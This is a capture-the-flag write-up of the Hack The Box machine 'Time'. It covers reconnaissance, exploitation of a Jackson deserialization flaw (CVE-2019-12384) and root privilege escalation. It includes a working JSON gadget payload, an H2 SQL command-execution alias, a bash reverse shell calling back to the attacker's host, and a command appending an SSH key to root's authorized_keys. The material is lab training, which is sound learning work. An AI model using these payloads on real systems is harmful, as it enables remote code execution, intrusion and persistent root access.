I was over a month ago, since I last did a box on Hack The Box. So I choose one from the to-do list and that was Time. I have to say the box did not really satify me, but I did learn some new tricks on this medium Linux box.
[0x1] Reconnaissance & Enumeration
Let’s start exploring Time by doing a Nmap scan for all ports, common scripts and service detection. It did not took that long since there are only two ports availble on the machine.
nmap -sC -sV -p- -oA time-allports 10.10.10.214 Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-01 05:01 EST Nmap scan report for 10.10.10.214 Host is up (0.016s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-server-header: Apache/2.4.41 (Ubuntu) |_http-title: Online JSON parser Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
I won’t expect port 22 (SSH) to be the way in at this point, so I will first see what website is running on port 80. The http-title does give away that it has something to do with JSON.
I have run some tools like dirbuster and sqlmap to see if there where any other entry points of SQL-injections possible. Also poked around with the reuqest using Burp, but nothing obvisous at this point.
I did noticed when I submitted a value in the input field, there was an error stating a specific component. I used Burp to intercept, and check the response. As data I entered “d0p4m1n3” and submitted the form.
After the submit was processed, there was an error on the website saying that there was an Unhandled Java execption in com.fasterxml.jackson.core.JsonParseExeption.
[0x2] Initial Foothold
Since I have zero Java or JSON experience, I searched around the web to see if there are any vulnerabilities around this topic. I found a few, which all had something to do with deserialization (recreate the actual Java object in memory). That is not really my expertise, so I just searched further.
I found a specific article for CVE-2019-12384, that described te possibility of getting Remote Code Execution from deserialization. And where there is a CVE, there must be an exploit somewhere 🙂 After looking a round I found an exploit on GitHub for getting the RCE.
I took the inject.sql file and changed the command it will execute to see if it works by sending a ping to my machine. If it works, I can have tcpdump show me the incomming ping requests. An easy way to make sure the payload works, before using it to spawn a shell.
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { String[] command = {"bash", "-c", cmd}; java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; } $$; CALL SHELLEXEC('ping -c 3 10.10.14.64')
Not start my Python webserver so the script can grab the inject.sql file from my machine.
pyhton3 -m http.server 8000
Next up: starting tcpdump to grab incomming ICMP requests.
tcpdump -i tun0 icmp
With everything set up, I will paste the command below into the webapplication and see if my payload gets executed. I grabbed it from the GitHub script, but had to alter it a bit. Since I paste it directly in the form, you need to remove the all the ‘\’ (backslashes) in the lines. So change this:
jruby test.rb "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://localhost:8000/inject.sql'\"}]"
to this:
["ch.qos.logback.core.db.DriverManagerConnectionSource",{"url":"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://10.10.14.64:8000/inject.sql'"}]
After pressing PROCESS, and disable BurpSuite (always forget that), the following happens on my machine: the inject.sql file gets downloaded from the websserver, and tcpdump shows the incomming ping request. This means my setup works!
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 10.10.10.214 - - [01/Nov/2020 06:15:08] "GET /inject.sql HTTP/1.1" 200 - tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes 06:15:10.250434 IP 10.10.10.214 > 10.10.14.64: ICMP echo request, id 1, seq 1, length 64 06:15:10.250497 IP 10.10.14.64 > 10.10.10.214: ICMP echo reply, id 1, seq 1, length 64 06:15:11.268416 IP 10.10.10.214 > 10.10.14.64: ICMP echo request, id 1, seq 2, length 64 06:15:11.268435 IP 10.10.14.64 > 10.10.10.214: ICMP echo reply, id 1, seq 2, length 64 06:15:12.267850 IP 10.10.10.214 > 10.10.14.64: ICMP echo request, id 1, seq 3, length 64 06:15:12.267873 IP 10.10.14.64 > 10.10.10.214: ICMP echo reply, id 1, seq 3, length 64
Since receiving ping requests does not give me a shell, I have to alter the command begin run by the inject.sql script. I add a reverse shell to have it call back to me.
CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException { String[] command = {"bash", "-c", cmd}; java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A"); return s.hasNext() ? s.next() : ""; } $$; CALL SHELLEXEC('bash -i &>/dev/tcp/10.10.14.64/1337 0>&1 &')
Now that the payload is ready, I have to make sure there is a listener running to grab the incomming connection.
rlwrap netcat -lvnp 1337 listening on [any] 1337 ...
And there is my reverse shell! Running as the user pericles.
listening on [any] 1337 ... connect to [10.10.14.64] from (UNKNOWN) [10.10.10.214] 42212 bash: cannot set terminal process group (866): Inappropriate ioctl for device bash: no job control in this shell pericles@time:/var/www/html$ whoami whoami pericles pericles@time:/var/www/html$
[0x3] Path to User flag
Before I check to see if there are more users, I do a quick peek on the flag location. Maybe there is only one user on this box. And what do you know, I just got myself a user flag.
pericles@time:/home/pericles$ cat user.txt cat user.txt 0e5193a9d508e186b8c936c46ba54ad1
[0x4] Path to Root flag
Since the root flag is the ultimate goal, I will host the linPeas script on my machine and see if there is something to exploit on this machine. The script is being served by the Python webserver and downloaded to the machine.
wget http://10.10.14.64/linpeas.sh
If you have ever used linpeas, you know how much output it generates. So to make it readable I only share the piece which grabbed my attention. The list below are files which are owned by me, or writeable by everyone. It is all normal stuff, until you reach the timer_backup.sh located in /usr/bin. Now that is a conincdance, since the machines name is Time, or isn’t it.
[+] Interesting writable files owned by me or writable by everyone (not in Home) [i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files /dev/mqueue /dev/mqueue/linpeas.txt /dev/shm /home/pericles /opt/json_project/classpath /opt/json_project/classpath/h2-1.4.199.jar /opt/json_project/classpath/jackson-annotations-2.9.8.jar /opt/json_project/classpath/jackson-core-2.9.8.jar /opt/json_project/classpath/jackson-databind-2.9.8.jar /opt/json_project/classpath/logback-core-1.3.0-alpha5.jar /opt/json_project/parse.rb /run/lock /run/lock/apache2 /run/screen /run/screen/S-pericles /snap/core18/1705/run/lock /snap/core18/1705/tmp /snap/core18/1705/var/tmp /snap/core18/1885/tmp /snap/core18/1885/var/tmp /tmp /tmp/hsperfdata_pericles /tmp/linpeas.sh /tmp/tmux-1000 93m/usr/bin/timer_backup.sh /var/crash /var/lib/php/sessions /var/tmp /var/www/html
The content of this script is not much, nor is it complicated. It shows the process of creating an zip archive from /var/www/html and moving it to /root/backup.zip. I wonder if this script gets executed by root and maybe give me a way to exploit it.
cat timer_backup.sh #!/bin/bash zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip pericles@time:/usr/bin$
The first thing I did was the same as with the inject.sql, just let it ping back. I had tcpdump running to grab any incomming ICMP traffic so it’s an easy check.
echo "ping -c 3 10.10.14.64" >>/usr/bin/timer_backup.sh
And there we have our ping requests. Since the are received without having to start the script, it is triggered by another proces or user.
06:52:35.798166 IP 10.10.10.214 > 10.10.14.64: ICMP echo request, id 27, seq 1, length 64 06:52:35.798186 IP 10.10.14.64 > 10.10.10.214: ICMP echo reply, id 27, seq 1, length 64 06:52:36.728695 IP 10.10.10.214 > 10.10.14.64: ICMP echo request, id 27, seq 2, length 64 06:52:36.728714 IP 10.10.14.64 > 10.10.10.214: ICMP echo reply, id 27, seq 2, length 64 06:52:37.727655 IP 10.10.10.214 > 10.10.14.64: ICMP echo request, id 27, seq 3, length 64 06:52:37.727673 IP 10.10.14.64 > 10.10.10.214: ICMP echo reply, id 27, seq 3, length 64
Since SSH is running on the machine, I might as well try to add my public key to the authorized keys for root. If that fails, I can always try a shell or something. I paste my public keys in a file called key.txt and add the command for adding it to the authorized keys to the script.
echo "echo $(<key.txt) >>/root/.ssh/authorized_keys" >>/usr/bin/timer_backup.sh cat /usr/bin/timer_backup.sh #!/bin/bash zip -r website.bak.zip /var/www/html && mv website.bak.zip /root/backup.zip echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDSn7P+xHhVb+xYRFnFda2EWXuA8sw9XergLc[clip...............]SBIrJK6DNcs+mk4f7beve9zZ0XVbSR8WiUmmZM1N6HI/9IIBM= >>/root/.ssh/authorized_keys
After that is done, I hop back to my machine and try to log on to the box based on my private RSA key
ssh -i ~/.ssh/id_rsa root@10.10.10.214 Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-52-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Sun 01 Nov 2020 01:03:40 PM UTC System load: 0.0 Usage of /: 21.9% of 29.40GB Memory usage: 25% Swap usage: 0% Processes: 240 Users logged in: 0 IPv4 address for ens160: 10.10.10.214 IPv6 address for ens160: dead:beef::250:56ff:feb9:a25b 83 updates can be installed immediately. 0 of these updates are security updates. To see these additional updates run: apt list --upgradable Last login: Thu Oct 22 17:03:52 2020
Just a quick check to see who we are, and after that I can grab the flag and call this one rooted!
root@time:~# whoami root root@time:~# id uid=0(root) gid=0(root) groups=0(root) root@time:~# hostname time
root@time:~# cat /root/root.txt bab8d2f0c86b778677033415e3018a34
[box type=”warning” align=”” class=”” width=””]All information in this post is for educational use only! Do not use it at others when you do not have explicit approval to do so. I am not responsible for your actions. Using this knowledge for illegal activities could land you in jail![/box]